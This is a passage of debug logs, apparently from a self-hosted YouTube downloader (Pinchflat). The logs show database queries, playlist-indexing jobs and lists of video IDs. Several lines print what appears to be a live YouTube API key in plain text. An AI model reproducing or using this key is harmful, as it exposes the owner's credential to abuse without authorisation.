"ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 16:37:39.944 [debug] QUERY OK source="media_items" db=0.3ms idle=162.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 16:37:39.944 [debug] QUERY OK source="tasks" db=0.1ms idle=157.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800029, 8, ~U[2026-02-10 22:37:39Z], ~U[2026-02-10 22:37:39Z]] 16:37:39.945 [info] {"args":{"id":8},"id":3799990,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":286082,"event":"job:stop","queue_time":371540,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:44.664 [info] {"args":{"id":40},"id":3799991,"meta":{},"system_time":1770763064664686463,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:44.665 [debug] QUERY OK source="sources" db=0.1ms idle=786.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 16:37:44.665 [debug] QUERY OK source="settings" db=0.0ms idle=786.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:44.665 [debug] QUERY OK source="media_profiles" db=0.1ms idle=786.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:44.665 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:44.665 [debug] Fetching recent media IDs from YouTube API for playlist: UU7V6hW6xqPAiUfataAZZtWA 16:37:44.665 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:44.665 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:44.762 [debug] QUERY OK source="media_items" db=0.7ms idle=96.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [40, "g5M9AL95htk", "_d7EmSiMgtQ", "GzGa73A7Ffk", "FLgPJa-pxeI", "BboXiXnvYX4", "jOY6nOpOruM", "nY5Wo5RJeqk", "4-QP9Zs4U_8", "w772tzPzZ9c", "UKe5sYfn5EY", "gvQT7ECCuDU", "7QoryyHW2VY", "OqA1yhu41so", "8Kz9f-UzpX0", "qgdHLj6Xtdo", "BPGbGYYO2eY", "Gik8xyVow0A", "bDum6c8SoRw", "g63zi5h7sSM", "exUUeZSHrMY", "SDVMlDYUgsA", "H5V319xB7WE", "jf2otd0yO5I", "YF9xXeebrCI", "wqTIn6iGJd8", "y3v0uFqgtJM", "iGRSfesAJ4k", "XNeGT_51LKM", "gBy0C2F-q0w", "Olu7GlTkKJU", "1zENw7nCecE", "AnJU-TxeJe0", "JP6u3p6AOIg", "zbhPsblrMT0", "oY3y4IJ3l_w", "3qFWzdhUjSk", "gjiAsn_EV8g", "4pE6u3dWu-0", "0SEzwZ6pGRQ", "4MCrCkm5g9Y", "mQvJiP4Zd1E", "tBG3sf4QnSc", "uZQkRXk2t6o", "uGoQkin-sb8", "wthVwIc9u8s", "QfF3T3TyUnc", "b5TtJHJD0o4", "BueJnc9uOYo", "7Kt4RnUSNvY", ...] 16:37:44.765 [debug] QUERY OK source="media_items" db=1.8ms idle=97.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [40] 16:37:44.765 [debug] QUERY OK source="tasks" db=0.1ms idle=100.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800030, 40, ~U[2026-02-10 22:37:44Z], ~U[2026-02-10 22:37:44Z]] 16:37:44.766 [info] {"args":{"id":40},"id":3799991,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":101292,"event":"job:stop","queue_time":513808,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:45.666 [info] {"args":{"id":2},"id":3799992,"meta":{},"system_time":1770763065666755467,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:45.667 [debug] QUERY OK source="sources" db=0.1ms idle=901.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:37:45.667 [debug] QUERY OK source="settings" db=0.1ms idle=901.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:45.667 [debug] QUERY OK source="media_profiles" db=0.1ms idle=894.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:45.667 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:45.667 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 16:37:45.668 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:45.668 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:45.791 [debug] QUERY OK source="media_items" db=0.6ms idle=123.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "6ZgZNKd6L4w", "k99eZELFMnQ", "SoyXQcmSSDA", "hQDwpXfJXYI", "LRkDQZo_Anw", "sqng2mGejKw", "k9UsDilfbYM", "_cY1rFrNQpE", "7kqvE63fnE4", "jBYgqIPeZ4M", "oIs2ZCcj2Vg", "ck7r7wo829A", "Rv3LJQLMh3U", "LbVz5hXSIKg", "RB7CfRSFjCw", "B9DnrUB4CJM", "ghawYhsGdug", "uQkIZvbbQDA", "4GtFKbysSDY", "Bu671EegYWY", "UYErV4JoFyM", "y_d40V40clo", "7SRjYEHzbX8", "ij2ASG-LSt8", "RGLVdoaD-T0", "bvkgOoZKcwM", "j_2jvyqta0s", "4c63FU_d8T8", "RK2SnHjxGVs", "rA9aiYZOExg", "W8C4Ei0Ykvg", "rvP7or3PPNM", "ZFn-Q-PZtZU", "fwpnuNrSDaI", "ksLlg8f997w", "0RssLJL30h0", "dlW6a17NRew", "dd1TeK-YFuk", "9jBseM65hbs", "QQ49D1E24NM", "1GXzDm8PYp8", "B3P2jc8GX_Y", "ane7B2Q8jbs", "zjmbsU9GD6w", "7Y0UEQ_Jj_c", "clSil9gwZmM", "VKMzpJj8iFo", "j8-OvS8FY0k", "hOIjQTFD_Ss", ...] 16:37:45.794 [debug] QUERY OK source="media_items" db=2.2ms idle=124.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 16:37:45.795 [debug] QUERY OK source="tasks" db=0.1ms idle=126.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800031, 2, ~U[2026-02-10 22:37:45Z], ~U[2026-02-10 22:37:45Z]] 16:37:45.795 [info] {"args":{"id":2},"id":3799992,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":128436,"event":"job:stop","queue_time":533827,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:47.668 [info] {"args":{"id":38},"id":3799993,"meta":{},"system_time":1770763067668763198,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:47.669 [debug] QUERY OK source="sources" db=0.4ms idle=790.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 16:37:47.669 [debug] QUERY OK source="settings" db=0.1ms idle=791.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:47.669 [debug] QUERY OK source="media_profiles" db=0.1ms idle=791.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:47.670 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:47.670 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 16:37:47.670 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:47.670 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:48.071 [debug] QUERY OK source="media_items" db=0.8ms idle=400.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "ZtyjAvMIzvs", "ZoadJmKmyVI", "wtPYQdWPea0", "iY_9XEC6mq4", "BWADrQ3CQV4", "XunRKZR1ESc", "dfKW4ZBOaW4", "pD_HukFdNV8", "FJ6nxXlYZac", "FSTfYrqaNgc", "vPg59pmB1Nc", "l5Fl0XIxKfM", "ARwO8ApGMpU", "e7YtjflOT0I", "kl6AlqzF0N0", "VdPv4d0SYvc", "82Lo2Wf3TXM", "qS3cA_cZngc", "g4pJ-Mw53aU", "lbK38r-gV2Q", "U4OyMqmXqpo", "7tASAaMn9hA", "m1miWJTudv4", "VqkxBi1sBG0", "4OuM5mLWQq4", "sgMMljY3oFA", "tXy9epkxt70", "4CLC3yyK09w", "u0OSIl2-53w", "ATDYVHdtpEc", "zDyTHWr1N50", "fQGsTtqzB3Q", "qyCvEerjhnU", "WmFiNcw57o8", "rxhKvzxJgRk", "v3QssL74wA8", "5nKwdMKglm4", "D6xw9bxy3Qg", "rq0urtj1qaM", "qBdYNLq9VCE", "Ibi0y39Aiac", "5Q7ZKetopT4", "NO1V5fR0uH8", "QALB7C5SBSU", "Wq_iFeRsqTo", "3ro8TFTmYyA", "3Oa-9oelGWM", "ldsSZydyJds", "FQRm3QbUWG0", ...] 16:37:48.073 [debug] QUERY OK source="media_items" db=1.4ms idle=402.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 16:37:48.074 [debug] QUERY OK source="tasks" db=0.1ms idle=403.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800032, 38, ~U[2026-02-10 22:37:48Z], ~U[2026-02-10 22:37:48Z]] 16:37:48.074 [info] {"args":{"id":38},"id":3799993,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":405423,"event":"job:stop","queue_time":531579,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:49.672 [info] {"args":{"id":41},"id":3799994,"meta":{},"system_time":1770763069671968855,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:49.672 [debug] QUERY OK source="sources" db=0.1ms idle=1597.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 16:37:49.672 [debug] QUERY OK source="settings" db=0.0ms idle=1591.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:49.672 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:49.672 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:49.672 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 16:37:49.673 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:49.673 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:49.777 [debug] QUERY OK source="media_items" db=0.6ms idle=104.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "oi7b2R-UtzQ", "UhiAajLeMP4", "xUZ5SUZJLpI", "NuGLHRLsQMo", "T0pORsilgsA", "XrouZ_x_bCM", "Wc_717YgMD4", "XCpIQPZpRzY", "JCVcU_lipA8", "En6vq_4kncQ", "P_Fx911Mhz0", "HLmwXcg4SFY", "PC8SSpITSn4", "t-1kAyLif_Q", "ZNBdvuYDYig", "BET6j3gkxvM", "-dz0uGjJTXM", "n0EVf85B-nE", "eEi3gMjv6fo", "M0dCAV8ZLig", "_CJu60_Y43U", "FAw6YBA6Xp4", "i6b-p3QwgOs", "w7hhs98tplk", "eyedA_SXkgg", "DQWK28ug2Hg", "_mBggwjnhJE", "CjnexVMu0Kc", "hnMLJmbkf9c", 